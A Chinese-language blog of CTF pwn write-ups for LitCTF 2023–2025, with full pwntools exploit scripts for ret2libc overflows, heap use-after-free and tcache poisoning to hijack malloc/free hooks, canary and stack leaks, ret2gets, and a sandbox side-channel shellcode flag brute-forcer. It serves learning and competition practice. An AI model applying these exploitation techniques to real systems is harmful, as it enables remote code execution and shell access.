LitCTF(2023 - 2025)-PWN方向做题笔记
前言:突然发现自己做过好多LitCTF的题,简单整理一下WP吧。
[LitCTF 2023]只需要nc一下~
解题思路
nc连接,获得shell,cat Dockerfile会发现flag被写进了环境变量$FLAG中,,echo $FLAG即可
[LitCTF 2023]口算题卡
解题思路
eval函数
eval() 是 Python 中的一个内置函数,用于执行一个字符串表达式,并返回表达式的值。
pwntools 中的 recvuntil
在 pwntools 库中,recvuntil 用于从 目标 接收数据,直到遇到指定的分隔符。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
io = remote("node4.anna.nssctf.cn", 28411)
for _ in range(100): io.recvuntil(b"What is ") io.sendline( str( eval( io.recvuntil(b"?") .replace(b"?",b"") .decode() ) ).encode() ) io.interactive()
|
[LitCTF 2023]狠狠的溢出涅~
解题思路
用\x00来绕过strlen对于字符串的判断,然后就是常规的ret2libc
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context(os="linux", arch="amd64", log_level="debug")
io = remote("node4.anna.nssctf.cn",28983)
pwn4 = ELF("./pwn") libc = ELF("./libc-2.31.so")
puts_plt = pwn4.plt['puts'] puts_got = pwn4.got['puts'] pop_rdi = 0x4007d3 read_addr = 0x4006B0
payload = b'\x00' * 104 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendlineafter("message:\n",payload)
puts_addr = u64(io.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00')) print("puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"] print("libc_base:",hex(libc_base))
system_addr = libc_base + libc.sym["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00")) print("system_addr:",hex(system_addr)) print("binsh_addr:",hex(binsh_addr))
ret_addr = 0x400556 payload = b'\x00' * 104 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter("message:\n",payload)
io.interactive()
|
[LitCTF 2023]ezlogin
这道题把我调试麻,以后再找机会复现吧
[LitCTF 2024]ATM
解题思路
利用选项三,输入200,再次查看Your balance is就可栈溢出;
利用选项五的gift泄露出printf地址,利用printf地址泄露出libc、然后构造system和binsh,最后布置栈覆盖返回地址 ,然后选项五退出循环,控制程序执行流getshell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context(os="linux", arch="amd64", log_level="debug")
io = remote("node4.anna.nssctf.cn", 28228) libc = ELF("./libc6_2.35-0ubuntu3.2_amd64.so")
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause()
pop_rdi = 0x401233 sla(b"password:", b"000") sla(b"4.Exit", b"3") sla(b"deposit:", b"200") sla(b"4.Exit", b"5") ru(b"0x") libc_base = int(r(12), 16) - libc.sym['printf'] ls(hex(libc_base)) system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00")) payload = b"a"*(0x168) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system) s(payload) sa(b"4.Exit", b"4") ia()
|
[LitCTF 2024]heap-2.23
解题思路
delete()中内存块被释放后,其对应的指针没有被设置为 NULL,存在UAF漏洞,且题目为libc-2.23.so,修改 malloc__hook 为 one_gadget
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(os="linux", arch="amd64", log_level="debug")
io = remote("node4.anna.nssctf.cn", 28504) elf = ELF("./heap") libc = ELF("./libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause() def add(index, size): sla(b">>", b"1") sla(b"idx? ", str(index).encode()) sla(b"size?", str(size).encode()) def free(index): sla(b">>", b"2") sla(b"idx?", str(index).encode()) def show(index): sla(b">>", b"3") sla(b"idx?", str(index).encode()) def edit(index, content): sla(b">>", b"4") sla(b"idx?", str(index).encode()) sla(b"content :", content) add(0, 0x80) add(1, 0x10) free(0) show(0) libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3c4b78 ls(hex(libc_base))
one_gadget = [0x4527a, 0xf03a4, 0xf1247] ogg = libc_base + one_gadget[2] malloc_hook = libc_base + libc.sym['__malloc_hook'] add(2, 0x60) add(3, 0x60) free(2) free(3) free(2) edit(2, p64(malloc_hook - 0x23)) add(4, 0x60) add(5, 0x60) edit(5, b"a"*(0x13) + p64(ogg)) add(6, 18) ia()
|
这是我做的第一道堆题,之前写的WP里还留有着开始学习时的疑问
- 泄露libc时,为什么要freed chunk 进 unsorted bin,其指针fd/bk 指向 main_arena,free chunk进入其他bins不行吗?比如fastbin,largebin
- free 到 fastbin:
fastbin chunk 的 fd 并不是 libc 的地址,而只是链表里下一个 chunk 的指针(属于 heap 空间)。所以从 fastbin 无法直接泄露 libc。
- free 到 smallbin / largebin:
这些 bin 的 fd/bk 会被设置为同 size bin 里的其它 chunk,只有在第一次进入 unsorted bin → 被切分/转移到 small/large bin 时,才会顺带写入 arena 指针。
单独 smallbin/largebin 的链表指针里不直接有 main_arena,而是别的 chunk 地址(仍然在 heap),也没法稳定算 libc 基址。
- free 到 unsorted bin:
unsorted bin 是 free 后“第一落点”,glibc 会把 freed chunk 的 fd、bk 填成 main_arena 的地址(main_arena+88、main_arena+0x10 之类的)。这就给了我们一个稳定的 libc 内部指针。
所以 PWN 常用套路是:
- 先 free 一个 non-fastbin 大小的 chunk(如 0x80 → 实际 size=0x90)。
- 它必定进 unsorted bin,fd/bk 指针必定指向
main_arena。
- 读出来一算偏移,就得到 libc 基址。
👉 总结:
只有 unsorted bin 能“直接泄露 libc”,fastbin/smallbin/largebin 单独都不行。
这就是为什么几乎所有 2.23 的泄露 libc 脚本里都会先 free 一个 ~0x80/0x100 大小的块。
- 为什么要其 FD 改为 __malloc_hook - 0x23,后面为什么要’A’*0x13 + p64(one_gadget),才能刚好把 __malloc_hook 覆盖为 one_gadget,为什么这样可以让让用户数据区中第一个 8 字节 正好对齐落在 __malloc_hook 上?
这涉及到 堆 chunk 结构 和 malloc_hook 前面的对齐情况。
(1) chunk 内存布局回顾
以 size=0x70(请求 0x60) 的 fastbin 为例:
1 2 3 4 5
| chunk header (16B) [ prev_size ] (仅当 inuse=0时有效) [ size ] user data ...
|
所以你拿到的 ptr = malloc(0x60) 实际上返回的是 数据区起始,而不是 header。
(2) 我们伪造 chunk → malloc_hook-0x23
为什么 -0x23?
- malloc 在从 fastbin 拿出 chunk 时,只要保证对齐和 size 符合,它就会把 FD 当成“下一个 chunk 地址”。
- 我们希望 malloc 返回的用户指针 正好对齐到一个能覆盖
__malloc_hook 的地方。
- 而在 glibc-2.23 中,
__malloc_hook 附近布局是:
1 2 3
| ... 一些内部变量 ... __realloc_hook __malloc_hook ← 我们想覆盖的目标
|
- 如果直接把 FD 改成
__malloc_hook,那么返回的 ptr 会从 __malloc_hook+0x10 开始(因为还要加上 header 大小对齐)。就对不准。
- 所以要减去一个合适的偏移(
0x23)让 malloc 返回的 用户数据起点,经过计算后落在 __malloc_hook 的前面。这样我们在用户数据里写第 0x13 个字节,就刚好覆盖到 __malloc_hook。
(3) 为什么是 'A'*0x13 + p64(one_gadget)?
- malloc 返回的“fake chunk”的数据区其实是从
__malloc_hook-0x23 + 0x10 = __malloc_hook-0x13 开始的。
- 换句话说,用户数据的起始位置比
__malloc_hook 早 0x13 字节。
1 2 3
| fake_chunk->user_data: [0x00 ... 0x12] 19字节 padding [0x13 ... 0x1A] <-- 这里正好是 __malloc_hook
|
- 所以你必须先填充
'A'*0x13 把位置“走过去”,接下来写的 8 字节才正好覆盖 __malloc_hook。
(4) 整个效果
edit(5, b"A"*0x13 + p64(one_gadget))
→ 前面 0x13 个字节无所谓
→ 紧接着的 8 字节,准确落在 __malloc_hook 上,改成 one_gadget 地址。
- 再次 malloc → 触发
__malloc_hook → 跳进 one_gadget → shell。
👉 总结一句:
-0x23 是为了让 malloc 返回的 fake chunk user_data 比 __malloc_hook 早 0x13;
'A'*0x13 + p64(one_gadget) 就是把第 0x13 个字节处正好覆盖到 __malloc_hook。
[LitCTF 2024]heap-2.27
解题思路
先增加一个大于tcache机制收纳范围(0x20 <= size < 0x410)的chunk0,然后释放它进入unsortedbin,就能拿到 libc_base(偏移量是自己调出来的);
再double_free 来拿__malloc_hook,打one_gadget
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * context(os="linux", arch="amd64", log_level="debug") io = process("./heap")
libc = ELF("./lib/x86_64-linux-gnu/libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause() def add(idx, size): sla(b">>", b"1") sla(b"idx?", str(idx)) sla(b"size?", str(size)) def free(idx): sla(b">>", b"2") sla(b"idx?", str(idx)) def show(idx): sla(b">>", b"3") sla(b"idx?", str(idx)) def edit(idx, content): sla(b">>", b"4") sla(b"idx?", str(idx)) sla(b"content", content) add(0, 0x410) add(1, 0x10) free(0) show(0) ru(b"content : ") libc_base = u64(r(6).ljust(8, b"\x00")) - 0x3ebca0 ls(hex(libc_base)) one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc] ogg = libc_base + one_gadget[3] malloc_hook = libc_base + libc.sym['__malloc_hook'] add(2, 0x60) free(2) edit(2, p64(malloc_hook - 0x23)) add(3, 0x60) add(4, 0x60) edit(4, b"a"*(0x13) + p64(ogg)*3) add(5, 0x60) ia()
|
[LitCTF 2024]heap-2.31
解题思路
libc-2.31-0ubuntu9.15_amd64,tcache结构体加入了新的字段 key,会检测double_free。增删改查四大功能齐全,存在UAF。
先增加一个大于tcache机制收纳范围(0x20 <= size < 0x410)的chunk0,然后释放它进入unsortedbin,就能拿到 libc_base(偏移量是自己调出来的);
再double_free (要注意清空fd bk,有key不能double free)来拿__free_hook,篡改为system,然后释放一个 content = /bin/sh\x00的chunk
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context(os="linux", arch="amd64", log_level="debug")
io = remote("node4.anna.nssctf.cn", 28373) libc = ELF("./2.31-0ubuntu9.18_amd64/libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause() def add(index, size): sla(b">>", b"1") sla(b"idx?", str(index)) sla(b"size?", str(size)) def free(index): sla(b">>", b"2") sla(b"idx?", str(index)) def show(index): sla(b">>", b"3") sla(b"idx?", str(index)) def edit(index, content): sla(b">>", b"4") sla(b"idx?", str(index)) sla(b"content :", content) add(0, 0x500) add(1, 0x10) free(0) show(0) ru(b"content :") libc_base = u64(ru(b'\x0a')[-6:].ljust(8, b"\x00")) - 0x1ecbe0 ls(hex(libc_base))
system = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] bin_sh = libc_base + next(libc.search("/bin/sh\x00")) add(2, 0x60) add(3, 0x60) free(2) edit(2, p64(0)*2) free(3) free(2) edit(2, p64(free_hook)) add(4, 0x60) add(5, 0x60) edit(4, b"/bin/sh\x00") edit(5, p64(system)) free(4) ia()
|
[LitCTF 2024]heap-2.35
解题思路
释放大于tcache的堆块,然后show,从而泄漏libc;通过__environ泄漏栈地址,__environ在libc上,并且存储着栈地址,可以利用这个栈地址来找到edit返回值的地址;
释放一个tcache,查看tcache_key,以便后续进行tcache_poisoning;
泄漏canary;(注意不要用 edit() 附近的canary,会报错;show前,注意覆盖Canary最低一字节\x00为其他字节)
申请一个堆块到edit返回地址附近;向栈上写入rop;
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import * context(os="linux", arch="amd64", log_level="debug") io = process("./heap")
libc = ELF("./libc.so.6")
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause() def add(idx, size): sla(b">>", b"1") sla(b"idx?", str(idx)) sla(b"size?", str(size)) def free(idx): sla(b">>", b"2") sla(b"idx?", str(idx)) def show(idx): sla(b">>", b"3") sla(b"idx?", str(idx)) def edit(idx, content): sla(b">>", b"4") sla(b"idx?", str(idx)) sa(b"content :", content)
one_gadget = [0xebc81, 0xebc85, 0xebd38] add(0, 0x410) add(1, 0x100) free(0) show(0) ru(b"content : ") libc_base = u64(r(6).ljust(8, b"\x00")) - 0x21ace0 ls(hex(libc_base)) add(2, 0x100) free(1) show(1) ru(b"content : ") heap_base = u64(r(5).ljust(8, b'\x00')) << 12 ls(hex(heap_base)) environ = libc_base + libc.sym['_environ'] system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) pop_rdi = libc_base + next(libc.search(asm("pop rdi; ret;"))) stack_ptr = (heap_base >> 12) ^ environ ogg = libc_base + one_gadget[0] free(2) edit(2, p64(stack_ptr)) add(3, 0x100) add(4, 0x100) show(4) ru(b"content : ") stack = u64(r(6).ljust(8, b'\x00')) ls(hex(stack)) canary = stack - 0x90 g = canary - 0x18 g = g ^ (heap_base >> 12) add(5, 0x30) add(6, 0x30) free(5) free(6) edit(6, p64(g)) add(7, 0x30) add(8, 0x30) edit(8, b"bbbbbbbb"*3+b"a") show(8) ru(b"bba") canary = u64(r(7).rjust(8, b"\x00")) ls(hex(canary))
add(9, 0x40) add(10, 0x40) free(9) free(10) return_addr = stack - 0x140 t = return_addr - 0x18 t = t ^ (heap_base >> 12) edit(10, p64(t)) add(11, 0x40) add(12, 0x40) rop = p64(0) + p64(canary) + p64(0) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system) edit(12, rop) ia()
|
[LitCTF 2024]heap-2.39
解题思路
虽然glibc版本很高,但可以打house of apple2,这是笔者第一次打,多调才勉强理解house of apple2,没有自己写脚本,用的其他师傅博客里的EXP来调试的
这里就放一些自己学习这道题的house of apple2打法过程中有幸看到的师傅们的博客吧:
1 2 3
| https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF https://c-lby.top/2024/2024-litctf-wp/#%E9%A2%98%E7%9B%AE%E5%8C%BA%E5%88%AB https://c-lby.top/2024/house-of-apple2/
|
[LitCTF 2025]shellcode
解题思路
题目开启了沙箱,只允许系统调用open、read,其他的都不行;题目会直接执行我们的输入,可以选择打侧信道爆破

这是笔者第一次做侧信道的题目,把自己学习关于侧信道时看过的文章放这里吧:(需者自取)
1 2 3 4
| https://blog.csdn.net/2502_91269216/article/details/148238029 https://www.cnblogs.com/LynneHuan/p/15674233.html https://www.cnblogs.com/ZIKH26/articles/16546513.html https://xz.aliyun.com/news/12646
|
EXP
网上找的爆破脚本,稍微改了改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch='amd64',os='linux') io=0 def find(i, c): global io io=process('./pwn') io.recvuntil(b'Please input your shellcode: \n') sc=asm(""" mov rax, 0 movabs rax, 0x67616C66 push 0 push rax push rsp pop rdi xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rsi, rdi mov rdi, rax xor rax, rax mov rdx, 0x100 syscall mov al, [rsp+{}] cmp al, {} jbe $ """.format(i, c)) io.send(sc)
try: io.recv(timeout=3) io.close() return True except EOFError: io.close() return False
flag = '' i=0 while True: l = 0x20 r = 0x80 while l <= r: m = (l + r) // 2 if find(i, m): r = m - 1 else: l = m + 1
if l==0: break print(l) flag += chr(l) info("win!!!!!!!!!!!!!!!!!!!!!!!!! ") info(flag) i += 1 if l == 0x7D: break
info("flag: "+flag)
|
[LitCTF 2025]master_of_rop
解题思路
打re2gets可以代替pop_rdi_ret,注意是glibc版本是 Ubuntu GLIBC 2.39-0ubuntu8.4,接着就是打ret2libc,但是这道题,我用gdb算出来的libc偏移总是不对,看了其他师傅的WP,用WP里算出的偏移+ 0x28c0,远端可以打通,但是本地却不行(patchelf了的)【这种情况真的很让人秃头了】
笔者学习ret2gets的时候有幸找到了几篇写得很好的文章,这里分享给大家:
ret2gets 一种控制rdi的攻击方法-CSDN博客
sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(os="linux", arch="amd64", log_level="debug") io = process("./pwn")
libc = ELF("./libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause()
elf = ELF("./pwn") gets_plt = elf.plt['gets'] puts_plt = elf.plt['puts'] main = 0x4011B1 ret = 0x40101a payload = b"\x00"*(0x28) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(main) sla(b"Welcome to LitCTF2025!", payload) debug() sl(p32(0) + b'a'*12) sl(b'aaaa') rl() r(8) libc_base = u64(r(6).ljust(8, b'\x00')) + 0x28c0 ls(hex(libc_base)) system = libc_base + libc.sym['system'] bin_sh = libc_base + 0x1cb42f pop_rdi = libc_base + 0x10f75b
payload = b'\x00'*(0x28) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) sla(b"Welcome to LitCTF2025!", payload) ia()
|